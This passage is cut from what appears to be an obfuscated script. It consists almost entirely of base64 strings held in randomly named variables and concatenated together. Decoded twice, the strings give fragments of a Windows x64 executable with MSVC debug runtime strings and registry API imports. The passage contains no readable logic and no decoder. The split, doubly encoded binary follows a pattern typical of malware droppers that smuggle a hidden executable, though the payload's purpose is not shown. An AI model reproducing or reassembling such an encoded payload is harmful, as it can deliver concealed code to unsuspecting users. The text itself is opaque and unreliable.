QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + wYrrjLfnbUwYi = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpSTUJRQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + WzzRmZEXyBwTMR = "QUpRQUFBQUFBQUFBU0lGTlNJekhRRWZBQlp3RlZBQUFBQUFBQUFaVEFVbElpTWRBU2tBRm5BVlVBQUFUeEVCQURnQkFBQUFBQUFBQVM4RkpSY2pFZ0Y1QUF0d0NsQUFBQUFBQUFBQkR3WUFEMVFJQUE4MEJ3QVBNZ3RnQUFBQUFDRUZBZ0FGZEFZQWtCMEJBS3NkQVFCWXhnRUFBQUFBQUNFQUFBQ1FIUUVBcXgwQkFGakdBUUFBQUFBQUFRY0RBQWRDQTNBQ01BQUFBQUFBQUNFTUJBQU05QVFBQlZRSUFFQWVBUUJISGdFQW1NWUJBQUFBQUFBaEJRSUFCV1FKQUVjZUFRQmhIZ0VBcU1ZQkFBQUFBQUFoQlFJQUJlUUtBR0VlQVFCc0hnRUF4TVlCQUFBQUFBQWhBQUFBWVI0QkFHd2VBUURFeGdFQUFBQUFBQ0VBQUFCSEhnRUFZUjRCQUtqR0FRQUFBQUFBSVFBQUFFQWVBUUJISGdFQW1NWUJBQUFBQUFBQkJBRUFCQUlBQUNFRUFnQUVkQUFBUUIwQkFGWWRBUUF3eHdFQUFBQUFBQ0VBQUFCQUhRRUFWaDBCQURESEFRQUFBQUFBQVFRQkFBUmlBQUFCQkFFQUJHSUFBQUVKQVFBSllnQUFBUk1CQUJPaUFBQUJHQUVBR0VJQUFBQUFBQUFCQUFBQUFRUUJBQVJDQUFBQkJBRUFCRUlBQUFFRUFRQUVRZ0FBQVFRQkFBUkNBQUFCQkFFQUJHSUFBQUVFQVFBRWdnQUFBUVFCQUFSQ0FBQUJCQUVBQkVJQUFBRUVBUUFFUWdBQUNRUUJBQVRDQUFBeUVBRUFBUUFBQUxRakFRRDBKQUVBMElBQkFQUWtBUUFBQUFBQUFRWUNBQVl5" + UKykwpHdNNGkXiqaxyiBGUNAaUweTdOoBKGRmqRRIiPYTSSdiJISJkCfZAtDnbQmbxxLv = "d0lBQUFBQUFMQVhBZ0FBQUFBQWVoMENBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJzR2dJQUFBQUFBTFlhQWdBQUFBQUEwaG9DQUFBQUFBRHFHZ0lBQUFBQUFQZ2FBZ0FBQUFBQURoc0NBQUFBQUFBYUd3SUFBQUFBQUNvYkFnQUFBQUFBT2hzQ0FBQUFBQUNJR2dJQUFBQUFBR0FhQWdBQUFBQUFWQm9DQUFBQUFBQkVHZ0lBQUFBQUFEUWFBZ0FBQUFBQUhob0NBQUFBQUFEd0dRSUFBQUFBQU9ZWkFnQUFBQUFBM0JrQ0FBQUFBQURPR1FJQUFBQUFBTUFaQWdBQUFBQUFzaGtDQUFBQUFBQ3FHUUlBQUFBQUFLSVpBZ0FBQUFBQWxCa0NBQUFBQUFDSUdRSUFBQUFBQUdZWkFnQUFBQUFBUkJrQ0FBQUFBQUFxR1FJQUFBQUFBQllaQWdBQUFBQUFCaGtDQUFBQUFBRDBHQUlBQUFBQUFPSVlBZ0FBQUFBQTBoZ0NBQUFBQUFESUdBSUFBQUFBQUs0WUFnQUFBQUFBbkJnQ0FBQUFBQUNhR2dJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + mjhLporjewBwRYCGtfVqGnokgrsjpeMt = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + emqkzLZGDkbnWPfWmoTmYGLMiZaEqwpWTekMIGY = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUROWFNEU1p0VC8vektpM3kyWkt3QUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFBRUFBQUFCQUFBQUFRQUFBQUFBQUFELy8vLy9BUUFBQUFFQUFBQUNBQUFBQUFBSUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + LJhyrLoIncLkdHEcvUAqOHrqWcaMMbrRwOoXsjwuIRmckImjwlqUKadNKtyoWTLMabOqb = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxjSkFoSWlXd2tFRWlKZENRWVYwaUQ3REJKaTlsSmkvaElpL0pJaStub00rRC8vMHlMVkNSZ1RJdlBUSWxVSkNoTWk4WklpOVZJaVZ3a0lFaUxDT2drNC8vL1NJdGNKRUNGd0VpTGJDUkl1Zi8vLy85SWkzUWtVQTlJd1VpRHhEQmZ3OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXhNaVVRa0dFeUpUQ1FnU0lQc09FaU5SQ1JZUlRQSlNJbEVKQ0RvMCtMLy8waUR4RGpEek16TXpNek16TXpNek14SWl3WDVvQUFBdzh6TXpNek16TXpNU0lzRjhhQUFBTVBNek16TXpNek16SVA1QkhjUFNHUEJTSTBOYVlNQUFFaUxCTUhETThERHpNek16TXpNek16TXVBVUFBQUREek16TXpNek16TXpNekVpTEJhbWdBQUJJaVEyaW9BQUFTTWNGbjZBQUFBQUFBQUREek16TXpNek1TSXNGa2FBQUFFaUpEWXFnQUFCSXh3VjNvQUFBQUFBQUFNUE16TXpNek15RCtRUjNGVWhqd1V5TkJmbWVBQUJCaXd5QVFZa1VnSXZCdzdqLy8vLy93OHpNek16TXpNek16TXpNek16TXpNeElpVXdrQ0VpRDdDZ3p5ZjhWZDk4QUFFaUxUQ1F3L3hYazNnQUEveFZlM3dBQXVna0VBTUJJaThqL0ZVamZBQUJJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFaUpU" + xeXzhlxSWXXvlttZcMXmr = "QUFBQUFBQUFBQUFGTjBZV05ySUhCdmFXNTBaWElnWTI5eWNuVndkR2x2YmdBQUFBQUFBQUFBUTJGemRDQjBieUJ6YldGc2JHVnlJSFI1Y0dVZ1kyRjFjMmx1WnlCc2IzTnpJRzltSUdSaGRHRUFBQUFBQUFBQUFBQUFBQUFBQUFCVGRHRmpheUJ0WlcxdmNua2dZMjl5Y25Wd2RHbHZiZ0FBQUFBQUFBQUFBRXh2WTJGc0lIWmhjbWxoWW14bElIVnpaV1FnWW1WbWIzSmxJR2x1YVhScFlXeHBlbUYwYVc5dUFBQUFBQUFBQUFBQUFBQUFBQUFBVTNSaFkyc2dZWEp2ZFc1a0lGOWhiR3h2WTJFZ1kyOXljblZ3ZEdWa0FBQUFBQUFBQUFBQUFLRFJBVUFCQUFBQVFOSUJRQUVBQUFBQUFBQUFBQUFBQUdJQWFRQnVBRndBWVFCdEFHUUFOZ0EwQUZ3QVRRQlRBRkFBUkFCQ0FERUFOQUF3QUM0QVJBQk1BRXdBQUFBQUFGWUFRd0JTQUZVQVRnQlVBRWtBVFFCRkFERUFOQUF3QUVRQUxnQmtBR3dBYkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZUUJ3QUdrQUxRQnRBSE1BTFFCM0FHa0FiZ0F0QUdNQWJ3QnlBR1VBTFFCeUFHVUFad0JwQUhNQWRBQnlBSGtBTFFCc0FERUFMUUF4QUMwQU1BQXVBR1FBYkFCc0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHRUFaQUIyQUdFQWNBQnBBRE1BTWdBdUFHUUFiQUJzQUFBQUFBQUFBQUFBVW1WblQzQmxia3RsZVVWNFZ3QUFBRkpsWjFGMVpYSjVWbUZzZFdWRmVGY0FB" + oyVUxfArLNULzUIgjttUncrGNmKbJostRXGxgsrpsYA = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + EwWonYDzDhRymjiquMYqocSEJJnZeavOftPzjZfaMZlSaPmImpvcCmzJZjsywTyHKU = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + FWMyIMgY = "SWlVd2tDRWlEN0VoSWl3WEFtZ0FBU0lsRUpEQklnM3drTVA5MUxFaUxUQ1JRNklIVC8vK0Z3SFVNU0l0RUpGQklpVVFrSU9zSlNNZEVKQ0FBQUFBQVNJdEVKQ0RyTWVzdlNJdFVKRkJJalExN21nQUE2R3ZVLy8rRndIVU1TSXRFSkZCSWlVUWtLT3NKU01kRUpDZ0FBQUFBU0l0RUpDaElnOFJJdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsTUpBaElnK3c0U0lzRk9Kb0FBRWlKUkNRZ1NJTjhKQ0QvZFE1SWkwd2tRT2g4MC8vLzZ4M3JHMGlMUkNSQVNJbEVKQ2hJaTFRa0tFaU5EUWVhQUFEbzM5UC8vMGlEeERqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxNSkFoSWcrdzRTSXRNSkVEb0l0TC8vMGlGd0hRS3gwUWtJQUFBQUFEckNNZEVKQ0QvLy8vL2kwUWtJRWlEeERqRHpNek16TXpNek16TXpNek16RUJYU0lQc1FFaU5SQ1FvU0l2NE04QzVDQUFBQVBPcVNJMU1KQ2ovRmNiUkFBQklpMFFrS0VpSlJDUWcveFdtMFFBQWk4QklpMHdrSUVnenlFaUx3VWlKUkNRZy94V20wUUFBaThCSWkwd2tJRWd6eUVpTHdVaUpSQ1FnU0kxTUpERC9GWkhSQUFDTFJDUXdTTUhnSUVnelJDUXdTSXRNSkNCSU04aElpOEZJaVVRa0lFaU5SQ1FnU0l0TUpDQklNOGhJaThGSWlVUWtJRWk0Ly8vLy8vLy9BQUJJaTB3a0lFZ2p5RWlMd1VpSlJDUWdTSXRFSkNCSWc4" + LYYYgtKeNO = "RUFBQUZGTThESFJDUWdBQUFBQURQU004bm9YdkQvLzBpTHlFaUR4RGpwQy9ILy8waUR4RGpEek16TXpNek16TXpNek16TXpNek16TXhJZyt3NFFia0JBQUFBeDBRa0lBRUFBQUJGTThBejBqUEo2Qjd3Ly85SWc4UTR3OHpNek16TXpNek16TXpNek14SWlVd2tDRWlEN0RoSWkwUWtRRWlKUkNRZ1NJdEVKRUFQdGdDRndIUVlnejJPdUFBQUFIUVAveFVxOEFBQU9RV0F1QUFBZFFHUVNJUEVPTVBNek16TXpNek16TXpNek16TXpNek16TXpNekV5SlRDUWdUSWxFSkJoSWlWUWtFRWlKVENRSVNJUHNLRWlMUkNSSVRJdEFPRWlMVkNSSVNJdE1KRGpvSGZELy83Z0JBQUFBU0lQRUtNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNVElsRUpCaElpVlFrRUVpSlRDUUlTSVBzV0VpTFJDUndpd0NENFBpSlJDUWdTSXRFSkdCSWlVUWtPRWlMUkNSd2l3REI2QUtENEFHRndIUXBTSXRFSkhCSVkwQUVTSXRNSkdCSUE4aElpOEZJaTB3a2NJdEpDUGZaU0dQSlNDUEJTSWxFSkRoSVkwUWtJRWlMVENRNFNJc0VBVWlKUkNRd1NJdEVKR2hJaTBBUWkwQUlTSXRNSkdoSUEwRUlTSWxFSkVCSWkwUWtZRWlKUkNRb1NJdEVKRUFQdGtBREpBOFB0c0NGd0hRbVNJdEVKRUFQdGtBRHdPZ0VKQThQdHNCcndCQkltRWlMVENRb1NBUElTSXZCU0lsRUpDaElpMFFrS0VpTFRDUXdTRFBJU0l2QlNJbEVKREJJaTB3a01Pam03" + pheHdhgetPucMsVcfiHrhrcpKwuklhIYmvBQvkydUigvKCAfHsihqnpAmpTZhDTZR = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + NXKmCFlWcjX = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQVlBQUFBR0FBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQkFBQUFNQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBUUFKQkFBQVNBQUFBSEJCQWdCOUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + QUukdsuDLJmKubdyASnDeGkASEJCcErPLDLhGtHDhngKqmI = "Ly8vU0lQRVdNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek14bVpnOGZoQUFBQUFBQVNEc040YTBBQUhVUVNNSEJFR2Izd2YvL2RRSERTTUhKRU9rbTd2Ly96TXpNek16TXpNek16TXpNek16TXpNek1TSVBzS09obDd2Ly82TUx3Ly8vb3JPMy8vN2tCQUFBQTZHL3UvLzhQdHNDRndIVUt1UWNBQUFEb2lmRC8vK2hzNy8vL1NJME5rdS8vLytpNzd2Ly82SDd2Ly8rRndIUUt1UWNBQUFEb1pmRC8vK2dJN3YvLzZIcnYvLytGd0hRTVNJME44KzMvLytoYjcvLy82S3J3Ly8vb1ErNy8vK2lvN2YvL2k4am9TKzcvLytqTjd2Ly9EN2JBaGNCMEJlaEo3di8vNlAzdS8vL29nL0QvLzRYQWRBcTVCd0FBQU9nTThQLy9NOEJJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNeElnK3dvNkpmdi8vOHp3RWlEeENqRHpNek16TXpNek16TXpNek16TXpNekVpRDdDam8wdTcvLytnZjdmLy9pOGpvWnUvLy8waUR4Q2pEek16TXpNek1TSVBzS09nQzcvLy82QklBQUFCSWc4UW93OHpNek16TXpNek16TXpNek14SWcreG91UUVBQUFEbzYrLy8vdysyd0lYQWRRcTVCd0FBQU9oWTcvLy94a1FrSUFEb1l1Ly8vNGhF" + EtChjxuOXhmrIvqKWXIxaPTAo = "T2xjTkFBQTZTMUpBQURwZGtrQUFPbE5IZ0FBNlVSS0FBRHBKMG9BQU9sK0RRQUE2WWtUQUFEcExra0FBT21QTkFBQTZReEpBQURwVlM4QUFPa3dNd0FBNmROSUFBRHBsRWtBQU9tQlNnQUE2WkJKQUFEcGgwb0FBT2swU2dBQTZWMUtBQURwNkFzQUFPa3pGd0FBNmZaSkFBRHBxVWtBQU9uMEJRQUE2UzhVQUFEcEdqSUFBT2xsU2dBQTZTQXRBQURwS3pjQUFPa1dTZ0FBNllkSkFBRHBIQzhBQU9rbkxnQUE2UUlnQUFEcFRUZ0FBT25JUGdBQTZiTW5BQURwK0VnQUFPbGxTUUFBNllRbUFBRHB2MGdBQU9uNkxnQUE2ZFZKQUFEcDFFZ0FBT2xMTGdBQTZmWXVBQURwUTBrQUFPbjhOUUFBNmVjMEFBRHA0aVVBQU9tVFNBQUE2ZWdwQUFEcC8wY0FBT21PQ2dBQTZTbERBQURwNUM0QUFPbjVTQUFBNlV4SUFBRHBKU1VBQU9rd0pRQUE2VnNUQUFEcGhnd0FBT214TkFBQTZRcElBQURwOVVnQUFPbCtTQUFBNlNkSkFBRHBpQndBQU9sTFNBQUE2VFpKQUFEcE5VZ0FBT2trSFFBQTZROFVBQURweWd3QUFPbUxSd0FBNllBdEFBRHA2ekFBQU9sNFNBQUE2U0VtQUFEcERBUUFBT25IUndBQTZmSW1BQURwZTBjQUFPa0lOQUFBNlZNd0FBRHAzaVVBQU9raFNBQUE2WFJIQUFEcDN4OEFBT2xxSmdBQTZhbElBQURwZ0FrQUFPbDdTQUFBNlRZTUFBRE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + oOrwvvNKQtFkUDWgRQhpLEADLhCWJvZqBTozLaRsgikdVKGHTEGzXBpY = "QWxBQkJBRUFCRUlBQUFFSkFRQUpRZ0FBR1I4RkFBMDBpUUFOQVlZQUJuQUFBRThSQVFBZ0JBQUFBQUFBQUJra0J3QVNaSXNBRWpTS0FCSUJoZ0FMY0FBQVR4RUJBQ0FFQUFBQUFBQUFHUjhHQUEwQlB3QUc0QVJ3QTJBQ1VFOFJBUURnQVFBQUFBQUFBQ0VJQWdBSU5ENEFjQ2NCQU04bkFRQlV5QUVBQUFBQUFDRUFBQUJ3SndFQXp5Y0JBRlRJQVFBQUFBQUFBUlFJQUJSa0NnQVVWQWtBRkRRSUFCUlNFSEFBQUFBQUFRNEJBQTVpQUFBWkJBRUFCRUlBQUdZVEFRQUJBQUFBcEM0QkFMb3VBUUFRZ1FFQXVpNEJBQUFBQUFBQkJnSUFCaklDVUFFRUFRQUVvZ0FBQVFRQkFBU2lBQUFaYkFzQWJHVFZBUk1CMWdFTThBcmdDTkFHd0FSd0ExQUNNQUFBVHhFQkFKQU9BQUFBQUFBQUFSQUZBQkJDRFBBSzBBakFCbUFBQUFBQUFBQWhIUWdBSGVRRUFCVjBEUUFOVkF3QUJUUUtBS0FxQVFETktnRUFJTWtCQUFBQUFBQWhBQUFBb0NvQkFNMHFBUUFneVFFQUFBQUFBQUVJQVFBSVFnQUFBUkVCQUJGaUFBQUJCQUVBQkVJQUFBRUpBUUFKWWdBQUFRa0JBQW5pQUFBQkNRRUFDZUlBQUFFSkFRQUpRZ0FBQVFrQkFBbGlBQUFCQ1FFQUNZSUFBQUVKQVFBSllnQUFDUWtCQUFtaUFBQXlFQUVBQVFBQUFFODhBUUN5UEFFQVFJRUJBTEk4QVFBQUFBQUFBUVlDQUFZeUFsQUJCQUVBQklJQUFBRUlBUUFJUWdBQUFRZ0JBQWhDQUFB" + SvHaIFYrqYWuSmKFOoPXtUOnfQUrNUfyjodbbRYy = 